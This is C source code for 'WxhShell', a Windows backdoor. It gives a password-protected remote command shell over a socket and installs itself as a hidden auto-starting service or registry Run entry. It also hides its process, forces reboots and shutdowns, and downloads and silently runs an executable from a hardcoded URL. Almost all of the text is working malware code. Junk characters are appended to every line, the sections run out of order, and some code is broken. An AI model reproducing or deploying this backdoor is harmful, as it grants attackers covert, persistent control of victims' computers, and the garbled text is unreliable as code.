    if(Boot(SHUTDOWN)) cYC^;,C &|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); } -;)G~h/"  
    else { a`f@&A`z  
    closesocket(wsh); g%[:wjV;  
    ExitThread(0); /w5*R5B{  
    } Qb/:E}h]$  
    break; 8uH8)  
    } {y6h(@I8\  
  // 获取shell 4\v &8">LL  
  case 's': { AgSAjBP  
    CmdShell(wsh); 62_k`)k  
    closesocket(wsh); =*lBJ-L  
    ExitThread(0); X _@|+d  
    break; $HQ4o\~  
  } Ny/eYF#  
  // 退出 rQ]JM  
  case 'x': { F4z#u2~TC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lA/-fUA  
    CloseIt(wsh); vBF9!6X.  
    break; e_KfnPY   
    } M_ %-A  
  // 离开 Khc^q*|C)  
  case 'q': { gVzIEE25  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `t)9u^[<(  
    closesocket(wsh); y'4Qt.1ukN  
    WSACleanup(); R*lq7n9  
    exit(1); 9oO~UP!ag  
    break; 1kL8EPT%o  
        } \'Et)uD*  
  } 7/QK"0  
  } (Y7zaAG]  
sw$uZ$$~#  
  // 提示信息 _&S#;ni\c  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FibZT1-k  
} Rky]F+J  
  } V8B4e4F  
-6NoEmb)\'  
  return; <n#X~}i)  
} -wg}X-'z0  
vMEN14;yH_  
// shell模块句柄 /(5"c>  
int CmdShell(SOCKET sock) sr&W+4T  
{ z rSPa\M  
STARTUPINFO si; I%a-5f$0  
ZeroMemory(&si,sizeof(si)); fDqT7}L  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x:!s+q` s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1@KiP`DA  
PROCESS_INFORMATION ProcessInfo; zEW+1-=)+7  
char cmdline[]="cmd"; JOt(r}gU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y01! D"{\  
  return 0; SiX<tj#HH\  
} ug2W{D  
ycc G>%>r  
// 自身启动模式 LAxN?ok9gD  
int StartFromService(void) OQ?N_zs,  
{ 8^j~uH  
typedef struct j+ -r(lZ  
{ J({D~  
  DWORD ExitStatus; YuknZ&Q  
  DWORD PebBaseAddress; /R=MX>JA;  
  DWORD AffinityMask; r W[;3yMf  
  DWORD BasePriority; `DgK$QM  
  ULONG UniqueProcessId; ~BJE~  
  ULONG InheritedFromUniqueProcessId; Pm/i,T6&\  
}   PROCESS_BASIC_INFORMATION; *4`5&) `  
AK&>3D  
PROCNTQSIP NtQueryInformationProcess; |w{Qwf!2  
MAFdJ +n#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,7)hrA$(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Yn= "vpM1  
5{V"!M+<  
  HANDLE             hProcess; ;j1E6  
  PROCESS_BASIC_INFORMATION pbi; `<se&IZE  
KU` *LB:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T&]-p:mg^  
  if(NULL == hInst ) return 0; |JYb4J4Ni  
QWfSm^ t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {P~rf&Ee  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {E Ay~lo  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \'j(@b,  
(wZ!OLY%}  
  if (!NtQueryInformationProcess) return 0; qovsM M  
rn*'[i?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U0j>u*yE  
  if(!hProcess) return 0; qD>^aEd@4  
mXyP;k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;i6~iLY  
\M\7k5$  
  CloseHandle(hProcess); klm>/MXI`  
>bZ-mX)j\0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ei@  
if(hProcess==NULL) return 0; \/3(>g?4  
5>f"  
HMODULE hMod; [%dsq`b#  
char procName[255]; fS4W*P[B3  
unsigned long cbNeeded; ktTP~7UVi  
aHW34e@ebL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zs#-E_^%M  
e3;D1@  
  CloseHandle(hProcess); \Yr*x7!  
aH_c84DS  
if(strstr(procName,"services")) return 1; // 以服务启动 #4$YQ  
^{MqJ\S7H  
  return 0; // 注册表启动 JnBc@qnP6  
} )x/#sW%)  
_< .VP  
// 主模块 8~C}0H  
int StartWxhshell(LPSTR lpCmdLine) }bS1M  
{ d0I s|Gs  
  SOCKET wsl; p)/e;q^  
BOOL val=TRUE; /)_4QSz7  
  int port=0; 08nh y[  
  struct sockaddr_in door; ,R`CAf%*  
c 1F^Gj!8  
  if(wscfg.ws_autoins) Install(); K& ^qn&  
lUEbxN  
port=atoi(lpCmdLine); Nz`8)Le  
+-|""`I1I  
if(port<=0) port=wscfg.ws_port; ,#ZPg_x?1  
9#:nlu9  
  WSADATA data; 'xqyG XI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?Cf'IBpN  
3/n?g7B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?Xypn#OPt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y`ip. Nx  
  door.sin_family = AF_INET; .-rz30xT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \T_ZcV  
  door.sin_port = htons(port); f~mwDkf?L  
6P _+:Mf  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :P_h_Tizv  
closesocket(wsl); 8+oc4~!A@n  
return 1; X^eyrqv  
} Ljz)%y[s  
2T2<I/")O  
  if(listen(wsl,2) == INVALID_SOCKET) { G^)]FwTs  
closesocket(wsl); (v/L   
return 1; ,Lp"Ia  
} }VJ>}i*  
  Wxhshell(wsl); 5 [~HL_u;,  
  WSACleanup(); (]'wQ4iQ  
tB>!1}v  
return 0; z]8Mv(eL  
s|<n7 =J  
} ZNw|5u^N  
)m7%cyfC  
// 以NT服务方式启动 x!GDS>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g3kbsi7_:  
{ /(s |'"6  
DWORD   status = 0; Q"FN"uQ}x  
  DWORD   specificError = 0xfffffff; ivo><"Y(r  
M 8WjqTq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; S,:!H@~B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1w7tRw  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }kmAUaa,Z  
  serviceStatus.dwWin32ExitCode     = 0; /P,1KVQPh  
  serviceStatus.dwServiceSpecificExitCode = 0; 7/<~s]D[%  
  serviceStatus.dwCheckPoint       = 0; TzaeE  
  serviceStatus.dwWaitHint       = 0; p+=zl`\=|  
k(H]ILL  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kQ\ $0=6N9  
  if (hServiceStatusHandle==0) return; q$" u<  
 ?pEPwc  
status = GetLastError(); e5bXgmyil  
  if (status!=NO_ERROR) rogy`mh\r2  
{ 5"nq h}5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vOlfyH>  
    serviceStatus.dwCheckPoint       = 0; 4utwcXL  
    serviceStatus.dwWaitHint       = 0; m=9b/Nr4  
    serviceStatus.dwWin32ExitCode     = status; >WLX5i&  
    serviceStatus.dwServiceSpecificExitCode = specificError; fphCQO^#vW  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xW)  
    return; 2Ty]s~  
  } QO;Dyef7b  
BT [|f[1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f u\j  
  serviceStatus.dwCheckPoint       = 0; m@+v6&,  
  serviceStatus.dwWaitHint       = 0; `"CA$Se8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); GZaB z#U  
} xbCR4upS  
t jThQ  
// 处理NT服务事件,比如:启动、停止 V6dq8Z"h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Fj<*!J$,  
{ l3b=8yn.  
switch(fdwControl) <MG&3L.[  
{ kNWTM%u9  
case SERVICE_CONTROL_STOP: 'M6+(`x  
  serviceStatus.dwWin32ExitCode = 0; G)s.~ T  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  ri4z^1\  
  serviceStatus.dwCheckPoint   = 0; f{VV U/$  
  serviceStatus.dwWaitHint     = 0; |Yw k  
  { 6inAnC@I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xT&~{,9  
  } .\$A7DD+A  
  return; O1o>eDE5A  
case SERVICE_CONTROL_PAUSE: Wx-0Ip'9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !~C%0{9+u@  
  break; hA 5p'a+K  
case SERVICE_CONTROL_CONTINUE: _(J#RH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y({ R\W|  
  break; k#pO+[ x  
case SERVICE_CONTROL_INTERROGATE: 9oc_*V0<  
  break; If'2 m_  
}; L3\#ufytb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZbT$f^o}M]  
} <Mvni z  
k^ZP~.G  
// 标准应用程序主函数 W6>t!1oO+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ci-Ze j  
{ ep"{{S5g  
tco G;ir  
// 获取操作系统版本 A^).i_&#  
OsIsNt=GetOsVer(); ' 8)kFR^9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8'@5X-nD  
15J"iN2"W  
  // 从命令行安装 F&!vtlV)  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]CLM'$  
toGd;2rl  
  // 下载执行文件 ?0:]% t18  
if(wscfg.ws_downexe) { t!3s@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O#;sY`fy_M  
  WinExec(wscfg.ws_filenam,SW_HIDE); `oNJ=,p  
} %bTuE' `b  
4Lg ,J9  
if(!OsIsNt) { h%F.h![*  
// 如果时win9x,隐藏进程并且设置为注册表启动 9 l~D}5e7  
HideProc(); r}qDvC D  
StartWxhshell(lpCmdLine); 1A'eH:$  
} g(i6Uj~)  
else bj@sci(1?  
  if(StartFromService()) ^X{U7?x  
  // 以服务方式启动 `>UUdv{C  
  StartServiceCtrlDispatcher(DispatchTable); f@YdL6&d-  
else BhDg\oxZ  
  // 普通方式启动 j"6|$Ze8  
  StartWxhshell(lpCmdLine); A{;"e^a-^l  
z<9C-  
return 0; *;}xg{@  
} 8>WA5:]v  
5QK%BiDlr  
J/P[9m30[  
+pG+ xI  
=========================================== t[+bZUS$~  
2F*>&n&Db7  
zx<PX  
db,?b>,EE  
v|~=rvXFC  
T1$p%yQH  
" (" :Dz_  
`Gv\"|Gn  
#include <stdio.h> uz+ WVmb  
#include <string.h> 2iM}YCV  
#include <windows.h> v\dQjQu8m  
#include <winsock2.h> Tk[]l7R~  
#include <winsvc.h> eb`3'&zV&)  
#include <urlmon.h> &c!6e<o[p  
vC>2%Zgf-  
#pragma comment (lib, "Ws2_32.lib") })<u ~r  
#pragma comment (lib, "urlmon.lib") *K_8=TIA*  
VsSAb%  
#define MAX_USER   100 // 最大客户端连接数 \E,2VM@6  
#define BUF_SOCK   200 // sock buffer (N&i4O-I  
#define KEY_BUFF   255 // 输入 buffer w( SY  
YK{J"Kof  
#define REBOOT     0   // 重启 'cc8 xC  
#define SHUTDOWN   1   // 关机 $"NH{%95}  
hfI=9x/  
#define DEF_PORT   5000 // 监听端口 zZPWE "u}  
6bUP]^d  
#define REG_LEN     16   // 注册表键长度 0,~s0]h0V  
#define SVC_LEN     80   // NT服务名长度 sAU%:W{  
@2. :fK  
// 从dll定义API Gr\jjf`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &&l ZUR,`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *cM=>3ws/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); uQH]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0J/yd  
_!zc <&~I  
// wxhshell配置信息 +`wr{kB$~  
struct WSCFG { UfPB-EFl$D  
  int ws_port;         // 监听端口 7/a7p(   
  char ws_passstr[REG_LEN]; // 口令 0qNmao4E_  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?jfh'mCA  
  char ws_regname[REG_LEN]; // 注册表键名 mK$E&,OkA  
  char ws_svcname[REG_LEN]; // 服务名 _4) t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 KRlJKd{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8tSY|ME  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 oQh;lb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lHM} E$5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0~ nCT&V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z<>gx m<  
7r?,wM  
}; Y>aVnixx<  
U/{t "e  
// default Wxhshell configuration J?TCP%  
struct WSCFG wscfg={DEF_PORT, Xh}q/H<  
    "xuhuanlingzhe", USEmD5q  
    1, {M:/HQo  
    "Wxhshell", <%3fJt-Ie  
    "Wxhshell", CC!`fX6z>h  
            "WxhShell Service", Dti-*LB1  
    "Wrsky Windows CmdShell Service", PTe$dPB  
    "Please Input Your Password: ", 5P<1I7d  
  1, 0vLx={i  
  "http://www.wrsky.com/wxhshell.exe", 1J1Jp|j.  
  "Wxhshell.exe" pSC{0Y$g  
    }; ~rO&Y{aG#  
r6\g #}  
// 消息定义模块 EsWB|V>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @F(er  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :tO?+1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !]s=9(O  
char *msg_ws_ext="\n\rExit."; !QAndg{;D  
char *msg_ws_end="\n\rQuit.";  !{V`N|0  
char *msg_ws_boot="\n\rReboot..."; yx`@f8Kr  
char *msg_ws_poff="\n\rShutdown..."; MHWc~@R  
char *msg_ws_down="\n\rSave to "; OQ2G2>p  
gNxv.6Pp=  
char *msg_ws_err="\n\rErr!"; /Z*$k{qIR&  
char *msg_ws_ok="\n\rOK!"; L|APXy]>  
r)>'cjx/  
char ExeFile[MAX_PATH]; 9$v\D3<Z  
int nUser = 0; *-]k([wV  
HANDLE handles[MAX_USER]; i| cA)  
int OsIsNt; = .S2gO >  
2u_=i$xW  
SERVICE_STATUS       serviceStatus; gYbvCs8O!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; wT+60X'  
YhglL!p C  
// 函数声明 =CFg~8W  
int Install(void); *g}==o`  
int Uninstall(void); OO/>}? ob  
int DownloadFile(char *sURL, SOCKET wsh); a9lYX*:  
int Boot(int flag); Ke@Bf  
void HideProc(void); ]b}3f<  
int GetOsVer(void); 7ojh=imY  
int Wxhshell(SOCKET wsl); =3hJti9[  
void TalkWithClient(void *cs); M.5F|7  
int CmdShell(SOCKET sock); o"RE4s\G~r  
int StartFromService(void); YRZw|H{>t  
int StartWxhshell(LPSTR lpCmdLine); F ! v01]O  
4`v[p4k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7Y~5gn  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); u* iqwm.  
b*| ?7  
// 数据结构和表定义 g-#eMQ%J  
SERVICE_TABLE_ENTRY DispatchTable[] = QP<P,Bi~  
{ moVf(7  
{wscfg.ws_svcname, NTServiceMain}, #|769=1  
{NULL, NULL} 0|va}m`<3G  
}; V^qBbk%l>D  
~qb?#IY]`  
// 自我安装  gHUW1E  
int Install(void) >@4Ds"Ye"O  
{ a&[[@1OY  
  char svExeFile[MAX_PATH]; yT3K 2A  
  HKEY key; ~O./A-l  
  strcpy(svExeFile,ExeFile); M[b~5L+S  
$aXYtHI  
// 如果是win9x系统,修改注册表设为自启动 T5pc%%q  
if(!OsIsNt) { 2mj>,kS?c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4mBM5Tv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UlN}SddI9  
  RegCloseKey(key); L}8 }Pns?&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #9"lL1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j }^?Snq  
  RegCloseKey(key); rf$[8d  
  return 0; jkuNafp}  
    } )tV]h#4  
  } !Y^$rF-+  
} S#+ _HFUK{  
else { .*EP$pc  
K24y;968  
// 如果是NT以上系统,安装为系统服务 35-FD{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ioTqT:.  
if (schSCManager!=0) <0`"vPU  
{ QQHC 1  
  SC_HANDLE schService = CreateService Jl"DMUy[kW  
  ( t@cBuV`9c  
  schSCManager,  :i?c  
  wscfg.ws_svcname, 3joMtRB>;  
  wscfg.ws_svcdisp, \hzx?  
  SERVICE_ALL_ACCESS, 3_VWtGQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qj*BV  
  SERVICE_AUTO_START, jq/{|<0  
  SERVICE_ERROR_NORMAL, l%2B4d9"v  
  svExeFile, 1 d.>?^uE  
  NULL, |@-y+vbA*  
  NULL, Dhg/>@tw  
  NULL, ; zy;M5l5.  
  NULL, mOjl0n[To]  
  NULL i3Nt?FSN  
  ); AQ.q?'vE)  
  if (schService!=0) E\}Q9, Z$  
  { kr1^`>O5  
  CloseServiceHandle(schService); 5o(=?dXm4  
  CloseServiceHandle(schSCManager); p|*b] 36  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @qJv  
  strcat(svExeFile,wscfg.ws_svcname); d<;XQ.Wo7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tK <)A)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @D<Q'7mLh  
  RegCloseKey(key); ~b4fk^u`+  
  return 0; }>j1j^c1='  
    } FUPJ&7+B  
  } T5U(B3j_  
  CloseServiceHandle(schSCManager); IZ4jFgpR  
} 8J9o$Se  
} {24Pv#ZG#^  
.Qj`_q6=  
return 1; 0Zl1(;hx@  
} i%B$p0U<  
]Otl(\v(h  
// 自我卸载 \=~<I  
int Uninstall(void) gwF@'Uu  
{ !lB,2_  
  HKEY key; 9=~jKl%\vJ  
)=D9L  
if(!OsIsNt) { 7 ~ Bo*UM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wY}+d0Ch  
  RegDeleteValue(key,wscfg.ws_regname); ~RE`@/wQ]  
  RegCloseKey(key); Y.Ew;\6U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0MzHr2?'P  
  RegDeleteValue(key,wscfg.ws_regname); 3 ?/}  
  RegCloseKey(key); |y=D^NTG  
  return 0; %n c+VL4  
  } c Ky%0oTla  
} |b7>kM}"  
} 7~`6~qg.  
else { ae1fCw3k  
I`KN8ll  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9p$q@Bc  
if (schSCManager!=0) `^N;%[c`z  
{ J5rR?[i{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); WCWBvw4&"{  
  if (schService!=0) _H3cqD  
  { N4 mQN90t  
  if(DeleteService(schService)!=0) { 'XQv>J  
  CloseServiceHandle(schService); A><%"9pZ  
  CloseServiceHandle(schSCManager); +Q_Gm3^  
  return 0; ,|c_l)  
  } \S2'3SD d/  
  CloseServiceHandle(schService); Wj*6}N/  
  } )d1,}o  
  CloseServiceHandle(schSCManager); T@ HozZ  
} #QDV_ziE5  
} XJ NKM~  
CC87<>V  
return 1; nocH~bAf2  
} 1Q;` <=  
) DLK<10  
// 从指定url下载文件 y! 1NS  
int DownloadFile(char *sURL, SOCKET wsh) P?uKDON  
{ (c*Dvpo1  
  HRESULT hr; YvHn~gNPhs  
char seps[]= "/"; )*JTxMQ  
char *token; ;~q)^.K3  
char *file; ?x/ L"h&Kp  
char myURL[MAX_PATH]; Ua3ERBX{  
char myFILE[MAX_PATH]; BR%:`uiQ<  
(c_hX(  
strcpy(myURL,sURL); p]g/iLDZ  
  token=strtok(myURL,seps); 2I4P":q  
  while(token!=NULL) 1-[{4{R  
  { (jyJ-qe  
    file=token; xX>448=  
  token=strtok(NULL,seps); ?8nG F%p  
  } Zj^H3 h  
nBj7Q!lW  
GetCurrentDirectory(MAX_PATH,myFILE); Fu><lN7  
strcat(myFILE, "\\"); 4%{m7CK}  
strcat(myFILE, file); \%VoX` B  
  send(wsh,myFILE,strlen(myFILE),0); g?+P&FL#I  
send(wsh,"...",3,0); .lnD]Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); O&0R ~<n  
  if(hr==S_OK) [(K^x?\Y0'  
return 0; dk ?0r  
else C|JWom\J  
return 1; >) ^!gz8  
7I  
} 8vP)qy8  
ljCgIfZ_4  
// 系统电源模块 w/<hyEpxg  
int Boot(int flag) n#fg7d%  
{ >y@w-,1he  
  HANDLE hToken; K&h|r`W(  
  TOKEN_PRIVILEGES tkp; ^YZ#P0 y  
lqs_7HhvRS  
  if(OsIsNt) { /4 f;Niem  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8| /YxF<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i\'N1S<D  
    tkp.PrivilegeCount = 1; #>V;ZV5"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _ 8>"&1n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w$!n8A qs  
if(flag==REBOOT) { /L 4WWQ5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) KKzvoc?Bt  
  return 0; 'huLv(Uu  
} RPWYm  
else { ro{MD s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M>#{~zr  
  return 0; >j?uI6Uw  
} G# C)]4[n  
  } zYNJF>^<  
  else { U|QDV16f  
if(flag==REBOOT) { |g{AD`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) '37b[~k4  
  return 0; :[&X*bw[  
} /_|1,x-Kx  
else { ?~{xL"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^b#E%Rd  
  return 0; (65p/$Vh  
} 2S4z$(x3  
} V_QVLW  
|+bG~~~%j  
return 1; .,,73"  
} .wSAysiQ|P  
F*=RP$sj  
// win9x进程隐藏模块 B+LNDnjO]  
void HideProc(void) V_kE"W)  
{ Y4O L 82Y  
jj2UUQ|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4Ojw&ys@V  
  if ( hKernel != NULL ) .%A2  
  { \v_C7R;&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,d+mT^jN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]lY9[~ v  
    FreeLibrary(hKernel); loJ0PY'}=  
  } wGH@I_cy>  
NC}#P< U  
return; u| c+w)a  
} $\ '\@3o  
G;;~xfE'  
// 获取操作系统版本 |*5nr5c_L  
int GetOsVer(void) 4#w^PM8}  
{ qu%s 7+  
  OSVERSIONINFO winfo; / ["T#`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2cg z n@  
  GetVersionEx(&winfo); ,Mc 2dhq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Mm!saKT%  
  return 1; 8E+l; 2  
  else p rgjU  
  return 0; 3@L%#]xwi  
} Cs{f'I  
(Nahtx!/9  
// 客户端句柄模块 hd;I x%tq>  
int Wxhshell(SOCKET wsl) rzHa&:Y  
{ $5r,Q{;$  
  SOCKET wsh; O@rb4(  
  struct sockaddr_in client; pg)g&ifKl  
  DWORD myID; !*gAGt_  
>``GDjcJ  
  while(nUser<MAX_USER) ,GIqRT4K  
{ |Y11sDa9h  
  int nSize=sizeof(client); ]r6bJ 2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Bl];^W^P  
  if(wsh==INVALID_SOCKET) return 1; mtHz6+  
$@)d9u cd  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); HV.7IyBA^  
if(handles[nUser]==0) #8jd,I% L  
  closesocket(wsh); 3)a29uc:U  
else ltR^IiA}  
  nUser++; (SK5pU  
  } ]w>fnew  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N sL"p2w~  
uw!|G>  
  return 0; df& |Lc1J  
} W)cLMGet  
;G]'}$`/q  
// 关闭 socket :\_MA^<  
void CloseIt(SOCKET wsh) F.D1;,x  
{ .<%M8rcj  
closesocket(wsh); ud D[hPJd  
nUser--; H@' @xHv  
ExitThread(0); UAZ&*{MM^  
} hJsC \C,^  
,v_r$kh^  
// 客户端请求句柄 Y;Gm,  
void TalkWithClient(void *cs) YPnJldVn  
{ ':]a.yA\1  
N-E`go  
  SOCKET wsh=(SOCKET)cs; RfG$Px '  
  char pwd[SVC_LEN]; +hgCk87%#  
  char cmd[KEY_BUFF]; <v k$eB8EC  
char chr[1]; ]H~,K]@.  
int i,j; /H@")je  
XH$|DeAFM  
  while (nUser < MAX_USER) { q&T'x> /  
f*}E\,V"&  
if(wscfg.ws_passstr) { Q0\5j<'e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RJ4mlW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /8\&f %E  
  //ZeroMemory(pwd,KEY_BUFF); ZS]f+}0/}  
      i=0; `r(J6,O  
  while(i<SVC_LEN) { , % jTXb  
oH0F9*+W  
  // 设置超时 L"%eQHEC&  
  fd_set FdRead; z 5+]Z a~  
  struct timeval TimeOut; +lJ]-U|P  
  FD_ZERO(&FdRead); $]JIA|  
  FD_SET(wsh,&FdRead); Eo&qc 17)`  
  TimeOut.tv_sec=8; ,D,f9  
  TimeOut.tv_usec=0; \|` Pul$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `+c9m^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #`0z=w/)  
Z8 %\v(L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TR_oI<xB2  
  pwd=chr[0]; ItE~MJ5p  
  if(chr[0]==0xd || chr[0]==0xa) { .WyX/E$I^!  
  pwd=0; = [os<+  
  break; h\\2r>  
  } Q$/FgS  
  i++; os^SD&hL  
    } M|e n>P  
(Gc`3jJ  
  // 如果是非法用户,关闭 socket =3dbw8I  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <|Eby!KXR  
} |S`yXsg  
9R"N#w.U]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U] -@yx  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M;V#Gm  
s^'#"`!v=  
while(1) { vqz#V=J{  
-01 1U!  
  ZeroMemory(cmd,KEY_BUFF); 0P3|1=  
@ aN=U=  
      // 自动支持客户端 telnet标准   +{i "G,3  
  j=0; R${4Q1  
  while(j<KEY_BUFF) { lY9M<8g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N%|Vzc  
  cmd[j]=chr[0]; xh^ZI6L<  
  if(chr[0]==0xa || chr[0]==0xd) { /M*\t.[ 46  
  cmd[j]=0; } %CbZ/7&  
  break; T-2p`b}h W  
  } o\;"|O}  
  j++; `yXx[deY  
    } dQ`ZrWd_U  
)wzs~Fn/  
  // 下载文件 ;}jbdS3  
  if(strstr(cmd,"http://")) { tSc>@Q_|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r9a!,^}F  
  if(DownloadFile(cmd,wsh)) &t|V:_?/x  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !XA%[u  
